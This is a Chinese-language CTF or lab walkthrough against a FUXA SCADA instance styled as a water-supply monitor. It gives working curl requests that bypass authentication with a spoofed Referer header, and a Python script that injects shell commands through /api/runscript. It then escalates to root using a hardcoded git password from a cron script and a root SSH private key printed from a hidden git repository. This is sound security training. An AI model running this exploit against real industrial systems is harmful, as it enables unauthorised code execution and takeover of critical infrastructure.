

index

1.外网打点+拿用户git的密码

1.1FUFA→打CVE-2025-69985

发现是一个fuxa项目，搜到一个可以rce且有exp公开的CVE

Documentation

Q CVE id, product, vendor...

Log in

CVEdetails.com

powered by SecurityScorecard

Vulnerabilities

By Date

By Type

Known Exploited

Assigners

CVSS Scores

EPSS Scores

Search

Vulnerable Software

Vendors

Products

Version Search

Vulnerability Intel.

Newsfeed

Open Source Vulns

Emerging CVEs

Feeds

Exploits

Advisories

Code Repositories

Code Changes

Attack Surface

My Attack Surface

Digital Footprint

Discovered Products

Detected Vulns

ID Search

Vulnerability Details : CVE-2025-69985

Public exploit exists!

FUXA 1.2.8 and prior contains an Authentication Bypass vulnerability leading to Remote Code Execution (RCE). The vulnerability exists in the server/api/jwt-helper.js middleware, which improperly trusts the HTTP "Referer" header to validate internal requests. A remote unauthenticated attacker can bypass JWT authentication by spoofing the Referer header to match the server's host. Successful exploitation allows the attacker to access the protected /api/runscript endpoint and execute arbitrary Node.js code on the server.

Published 2026-02-24 00:00:00 Updated 2026-02-26 19:39:21 Source MITRE

View at NVD CVE.org EUVD

Vulnerability category: Execute code

Products affected by CVE-2025-69985

Frangoteam > Fuxa

Versions up to, including, (<=) 1.2.8

cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*

Matching versions

Exploit prediction scoring system (EPSS) score for CVE-2025-69985

EPSS FAQ

1.75%

Probability of exploitation activity in the next 30 days

EPSS Score History

~ 83 %

Percentile, the proportion of vulnerabilities that are scored at or less

CVSS scores for CVE-2025-69985

Base Score	Base Severity	CVSS Vector	Exploitability Score	Impact Score	Score Source	First Seen
9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	3.9	5.9	134c704f-9b21-4f2e-91b3-4a467353bcc0	2026-02-25

CWE ids for CVE-2025-69985

CWE-288 Authentication Bypass Using an Alternate Path or Channel

The product requires authentication, but the product has an alternate path or channel that does not require authentication.

Aceimadbu:134c704f-9b21-4f2e-91b3-4a467353bcc0 (Sarandaru)

Jump to

CVE Summary

Affected Products

EPSS Score

CVSS Scores

但是直接用找到的脚本发现打不通kaleth4/CVE-2025-69985不过这个项目提供了手动利用教程我们尝试改Referer然后访问/api/version得到了回显，验证了确实可以打这个洞

🔍 Análisis del Vector de Ataque

🔍 攻击向量分析

1 Autenticación Bypass (Auth Bypass)

1 身份验证绕过 (Auth Bypass)

El middleware de FUXA confía ciegamente en el encabezado Referer . Si un atacante envía una petición con:

FUXA 的中间件 盲目信任 Referer 头。如果攻击者发送一个带有:

Referer: http://<target-ip>

El servidor asume que la petición es interna y omite la verificación del token JWT, permitiendo acceso a endpoints protegidos sin autenticación.

服务器假定请求是内部的，并且省略了JWT令牌的验证，允许未经认证访问受保护的端点。

```
(kali@LAPTOP-DLTVGSVB)-[~]
$ curl -H "Referer: http://192.168.231.11" http://192.168.231.11/api/version
"1.0.0"
(kali@LAPTOP-DLTVGSVB)-[~]
```

```
curl -H "Referer: http://192.168.231.11" http://192.168.231.11/api/project
```

```

"layout":{"autoresize":true,"start":"v_overview","showdev":false,"zoom":{"autoresize","inputdialog":"false","hiddenavigation":false,"theme":"dark","loginonstart":false,"loginoverlayscale":"none","show_connection_error":true,"customStyles":{".mat-sidenav-container,.mat-drawer-content{background:#0b1220!important;}.mat-toolbar.mat-primary{background:#0f172a!important;color:#e5e7eb!important;}}","navigation":{"mode":"fix","type":"block","bkcolor":"#111827","fgcolor":"#e5e7eb","items":[{"id":"nav-overview","text":"站点总览","view":"v_overview","link":"","icon":"dashboard","image":"","permission":null},{"id":"nav-process","text":"泵房工艺","view":"v_process","link":"","icon":"settings_input_component","image":"","permission":null},{"id":"nav-ops","text":"运维台账","view":"v_ops","link":"","icon":"event_note","image":"","permission":null}],"header":{"title":"北岸二次供水监控平台","alarms":"fix","infos":"hide","bkcolor":"#0f172a","fgcolor":"#f8f9fa","fontSize":14,"items":[{"id","itemsAnchor"}],"left","loginInfo":{"nothing","dateTimeDisplay":"yyyy-MM-dd HH:mm:ss","language":"nothing"}},{"version":"1.00","scripts":[{"id":"s_maint_preview_bundle","name":"asset_cache_preview","code":"const { execSync } = require('child_process'); const query = (pattern && pattern.value !== undefined) ? String(pattern.value) : String(pattern || ''); return execSync(`/bin/sh -c `find /opt/fuxa/images -maxdepth 2 -type f | grep -i ${query}``, { encoding:'utf8' }}];","sync":false,"parameters":[{"name":"pattern","type":"value","value":"png"},"permission":null,"mode":"SERVER"}],"id":"rce_calc","name":"rce_calc","code":"return 'placeholder';","sync":false,"parameters":[],"permission":null,"mode":"SERVER"}]}}

```

```
import requests
import base64

TARGET = "http://192.168.231.11"
API = "/api/runscript"
HEADERS = {
    "Content-Type": "application/json",
    "Referer": "http://192.168.231.11/"
}

cmd = "id"
payload = {
    "params": {
        "script": {
            "id": "s_maint_preview_bundle",
            "name": "asset_cache_preview",
            "parameters": [
                {
                    "name": "pattern",
                    "type": "value",
                    "value": "png;" + cmd
                }
            ],
            "mode": "SERVER"
        },
        "toLogEvent": False
    }
}

resp = requests.post(TARGET + API, headers=HEADERS, json=payload, timeout=10)
```

```
text = resp.text.replace('\\n', '\n').replace('\\t', '\t')
print(text)
```

```
test.py > ...
1  import requests
2  import base64
3
4  TARGET = "http://192.168.231.11"
5  API = "/api/runscript"
6  HEADERS = {
7      "Content-Type": "application/json",
8      "Referer": "http://192.168.231.11/"
9  }
10 cmd = "id"
11
12 payload = {
13     "params": {
14         "script": {
15             "id": "s_maint_preview_bundle",
16             "name": "asset_cache_preview",
17             "parameters": [
18                 {
19                     "name": "pattern",
20                     "type": "value",
21                     "value": f"png;{cmd}"
22                 }
23             ],
24             "mode": "SERVER"
25         },
26         "toLogEvent": False
27     }
28 }
29
30
31 resp = requests.post(TARGET + API, headers=HEADERS, json=payload, timeout=10)
32 print(resp.text)
33
```

问题 输出 调试控制台 终端 端口

```
LAPTOP-DLTVGSVB 22.20.0 14ms 10:21 PM
YueXi >> & C:/Users/YueXi/AppData/Local/Programs/Python/Python313/python.exe c:/Users/YueXi/Downloads/aaa/test.py
LAPTOP-DLTVGSVB 22.20.0 300ms 10:21 PM
YueXi >> & C:/Users/YueXi/AppData/Local/Programs/Python/Python313/python.exe c:/Users/YueXi/Downloads/aaa/test.py
"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
LAPTOP-DLTVGSVB 22.20.0 299ms 10:21 PM
YueXi >>
```

1.2 定时任务信息泄露git用户的密码

反弹shell没成功，在本地探测了一下，除了root还有一个git用户

然后我们在定时任务里面看到了一个属于git用户的/opt/fuxa/FUXA/server/scripts/local-sync.sh

```
"SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

```
* * * * * git /opt/fuxa/FUXA/server/scripts/local-sync.sh >/dev/null 2>&1
"
```

在local-sync.sh中发现了硬编码的用户git的密码

```
⚡ YueXi >> &
C:/Users/YueXi/AppData/Local/Programs/Python/Python313/python.exe
c:/Users/YueXi/Downloads/aaa/test.py
"-rwxr-xr-x 1 git git 315 Dec 20 10:30 /opt/fuxa/FUXA/server/scripts/local-
sync.sh
"
📁 LAPTOP-DLTVGSVB ▶ 📁 📁 📁\Downloads\aaa ▶ 📁 22.20.0 ▶ 📁 300ms ▶ 📁 11:01 PM ▶
📁 📁
⚡ YueXi >> &
C:/Users/YueXi/AppData/Local/Programs/Python/Python313/python.exe
c:/Users/YueXi/Downloads/aaa/test.py
"#!/bin/bash
set -euo pipefail

LOCAL_HOST="\${1:-127.0.0.1}"
GIT_USER="git\"
GIT_PASS="wi3fw39w0j12e\"
REMOTE_CMD="/usr/local/bin/theme-refresh --quick\"

exec /usr/bin/sshpas -p \"${GIT_PASS}\" /usr/bin/ssh \\\
-o StrictHostKeyChecking=no \\\
-o UserKnownHostsFile=/dev/null \\\
\"${GIT_USER}@${LOCAL_HOST}\" \"${REMOTE_CMD}\"
"
```

然后就可以ssh上去了

2.分析/opt/.cache-loader文件夹

ssh-keysign只是一个烟雾弹，真正的关键在/opt/.cache-loader
检查/opt文件夹的时候发现这个文件夹属于git用户组


```
root@FUXA:~# ls -la /opt
total 24
drwxr-xr-x  6 root root 4096 May  6 10:31 .
drwxr-xr-x 18 root root 4096 May  8 22:50 ..
drwxr-x—   3 root git  4096 May  6 10:31 .cache-loader
drwxr-xr-x 11 root root 4096 May  6 11:25 fuxa
drwxr-xr-x  6 root root 4096 May  6 10:07 node18
drwxr-xr-x  2 root root 4096 May  6 10:07 src
root@FUXA:~#
```

通过文件结构判断出这是一个裸git文件夹，结合用户名git，这题的提权关键十有八九就在这里

```
root@FUXA:/opt/.cache-loader# ls -la
total 12
drwxr-x—  3 root git  4096 May  6 10:31 .
drwxr-xr-x  6 root root 4096 May  6 10:31 ..
drwxr-x—  8 root git  4096 Dec 20 10:30 state
root@FUXA:/opt/.cache-loader# ls -la ./state
total 48
drwxr-x—  8 root git 4096 Dec 20 10:30 .
drwxr-x—  3 root git 4096 May  6 10:31 ..
drwxr-x—  2 root git 4096 Dec 20 10:30 branches
-rw-r—  1 root git   66 Dec 20 10:30 config
-rw-r—  1 root git   73 Dec 20 10:30 description
-rw-r—  1 root git   23 Dec 20 10:30 HEAD
drwxr-x—  2 root git 4096 Dec 20 10:30 hooks
drwxr-x—  2 root git 4096 Dec 20 10:30 info
drwxr-x—  6 root git 4096 Dec 20 10:30 objects
drwxr-x—  4 root git 4096 Dec 20 10:30 refs
drwxr-x—  2 root git 4096 Dec 20 10:30 .slots
-rw-r—  1 root git   46 Dec 20 10:30 .sprite-manifest
root@FUXA:/opt/.cache-loader#
```

历史提交记录为空

```
root@FUXA:/opt/.cache-loader/state# ls
branches config description HEAD hooks info objects refs
root@FUXA:/opt/.cache-loader/state# git --git-dir=/opt/.cache-loader/state log
fatal: your current branch 'master' does not have any commits yet
root@FUXA:/opt/.cache-loader/state#
```

但是我们注意到前面有一个.slots和一个.sprite-manifest这两个不属于标准git目录的东西，而

在.slots下面我们发现了一个对git用户组可读的icons文件

```
root@FUXA:/opt/.cache-loader/state# ls -la .slots/  
total 12  
drwxr-x— 2 root git 4096 Dec 20 10:30 .  
drwxr-x— 8 root git 4096 Dec 20 10:30 ..  
-rw-r— 1 root git 98 Dec 20 10:30 icons  
root@FUXA:/opt/.cache-loader/state#
```

实际上里面放着git历史提交记录哈希，通过它我们可以查看历史提交分支

```
root@FUXA:/opt/.cache-loader/state/.slots# cat icons  
stable 5eabba81b7dc9671da29ba0f45f5b6735bf479f8  
fallback cbe10abbd6222a4fe029f5274aac4b35dfd65490  
root@FUXA:/opt/.cache-loader/state/.slots#
```

在stable分支中我们看到了root账户的ssh私钥

```
root@FUXA:/opt/.cache-loader/state/.slots# git --git-dir=/opt/.cache-loader/state show 5eabba81b7dc9671da29ba0f45f5b6735bf479f8  
-----BEGIN OPENSSH PRIVATE KEY-----  
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW  
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ  
NgAAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w  
AAAEcu4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3  
7e9rqQb6zsL+hxnl/V7TAAACnJvb3RATXViYW4BAgM=  
-----END OPENSSH PRIVATE KEY-----  
root@FUXA:/opt/.cache-loader/state/.slots#
```

复制出来然后给私钥权限然后本地ssh到root即可